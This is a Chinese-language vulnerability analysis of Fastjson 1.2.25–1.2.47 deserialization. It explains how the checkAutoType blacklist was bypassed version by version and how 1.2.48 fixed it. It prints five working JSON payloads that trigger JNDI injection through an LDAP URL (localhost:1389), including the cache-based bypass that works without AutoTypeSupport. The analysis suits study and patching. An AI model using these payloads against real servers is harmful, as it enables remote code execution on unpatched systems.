Fastjson 1.2.25-1.2.47反序列化漏洞分析
字数 1158 2025-08-18 11:35:59

Fastjson 1.2.25-1.2.47反序列化漏洞分析

漏洞概述

Fastjson是阿里巴巴开源的一个高性能JSON处理库。在1.2.25至1.2.47版本中存在反序列化漏洞,攻击者可以通过构造恶意JSON数据实现远程代码执行。该漏洞影响范围广,危害严重。

补丁背景

在Fastjson 1.2.25中引入了checkAutoType机制来修复1.2.22-1.2.24版本的漏洞,其中autoTypeSupport默认为False:

  • autoTypeSupport为False时:先黑名单过滤,再白名单过滤,若白名单匹配则加载类,否则报错
  • autoTypeSupport为True时:先白名单过滤,匹配成功则加载类,否则再黑名单过滤

补丁绕过方法

需要开启AutoTypeSupport的绕过方式

1.2.25-1.2.41版本绕过

Payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

绕过原理

  • 在类名前加L和末尾加;绕过黑名单检查
  • TypeUtils.loadClass会去除开头的L和末尾的;,从而加载真实类

1.2.25-1.2.42版本绕过

Payload:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

绕过原理

  • 使用双重L;绕过新增的提取操作
  • TypeUtils.loadClass会循环调用自身去除多余的L;

1.2.25-1.2.43版本绕过

Payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

绕过原理

  • 利用[开头的类名处理逻辑
  • 通过Array.newInstance().getClass()获取并返回类
  • 需要精确构造JSON格式满足解析条件

1.2.25-1.2.45版本绕过

Payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

利用条件

  • 目标服务端存在mybatis的jar包
  • mybatis版本为3.x.x系列且<3.5.0

绕过原理

  • 利用不在黑名单中的JndiDataSourceFactory
  • 通过properties参数触发JNDI注入

不需要开启AutoTypeSupport的绕过方式(1.2.25-1.2.47通杀)

Payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

绕过原理

  1. 利用java.lang.Class将恶意类加载到Map缓存中
  2. 第二次解析时从缓存中获取类,绕过checkAutoType检查

版本差异

  • 1.2.25-1.2.32:未开启AutoTypeSupport时可利用,开启则不能
  • 1.2.33-1.2.47:无论是否开启AutoTypeSupport都可利用

1.2.48补丁修复

1.2.48版本中进行了以下修复:

  • loadClass时的缓存开关默认设置为False
  • Class类加入黑名单

参考资源

  1. Fastjson历史版本补丁绕过
  2. Fastjson新版本分析
  3. Fastjson黑名单破解
Fastjson 1.2.25-1.2.47反序列化漏洞分析 漏洞概述 Fastjson是阿里巴巴开源的一个高性能JSON处理库。在1.2.25至1.2.47版本中存在反序列化漏洞,攻击者可以通过构造恶意JSON数据实现远程代码执行。该漏洞影响范围广,危害严重。 补丁背景 在Fastjson 1.2.25中引入了 checkAutoType 机制来修复1.2.22-1.2.24版本的漏洞,其中 autoTypeSupport 默认为False: 当 autoTypeSupport 为False时:先黑名单过滤,再白名单过滤,若白名单匹配则加载类,否则报错 当 autoTypeSupport 为True时:先白名单过滤,匹配成功则加载类,否则再黑名单过滤 补丁绕过方法 需要开启AutoTypeSupport的绕过方式 1.2.25-1.2.41版本绕过 Payload : 绕过原理 : 在类名前加 L 和末尾加 ; 绕过黑名单检查 TypeUtils.loadClass 会去除开头的 L 和末尾的 ; ,从而加载真实类 1.2.25-1.2.42版本绕过 Payload : 绕过原理 : 使用双重 L 和 ; 绕过新增的提取操作 TypeUtils.loadClass 会循环调用自身去除多余的 L 和 ; 1.2.25-1.2.43版本绕过 Payload : 绕过原理 : 利用 [ 开头的类名处理逻辑 通过 Array.newInstance().getClass() 获取并返回类 需要精确构造JSON格式满足解析条件 1.2.25-1.2.45版本绕过 Payload : 利用条件 : 目标服务端存在mybatis的jar包 mybatis版本为3.x.x系列且 <3.5.0 绕过原理 : 利用不在黑名单中的 JndiDataSourceFactory 类 通过 properties 参数触发JNDI注入 不需要开启AutoTypeSupport的绕过方式(1.2.25-1.2.47通杀) Payload : 绕过原理 : 利用 java.lang.Class 将恶意类加载到Map缓存中 第二次解析时从缓存中获取类,绕过 checkAutoType 检查 版本差异 : 1.2.25-1.2.32:未开启AutoTypeSupport时可利用,开启则不能 1.2.33-1.2.47:无论是否开启AutoTypeSupport都可利用 1.2.48补丁修复 1.2.48版本中进行了以下修复: 将 loadClass 时的缓存开关默认设置为False 将 Class 类加入黑名单 参考资源 Fastjson历史版本补丁绕过 Fastjson新版本分析 Fastjson黑名单破解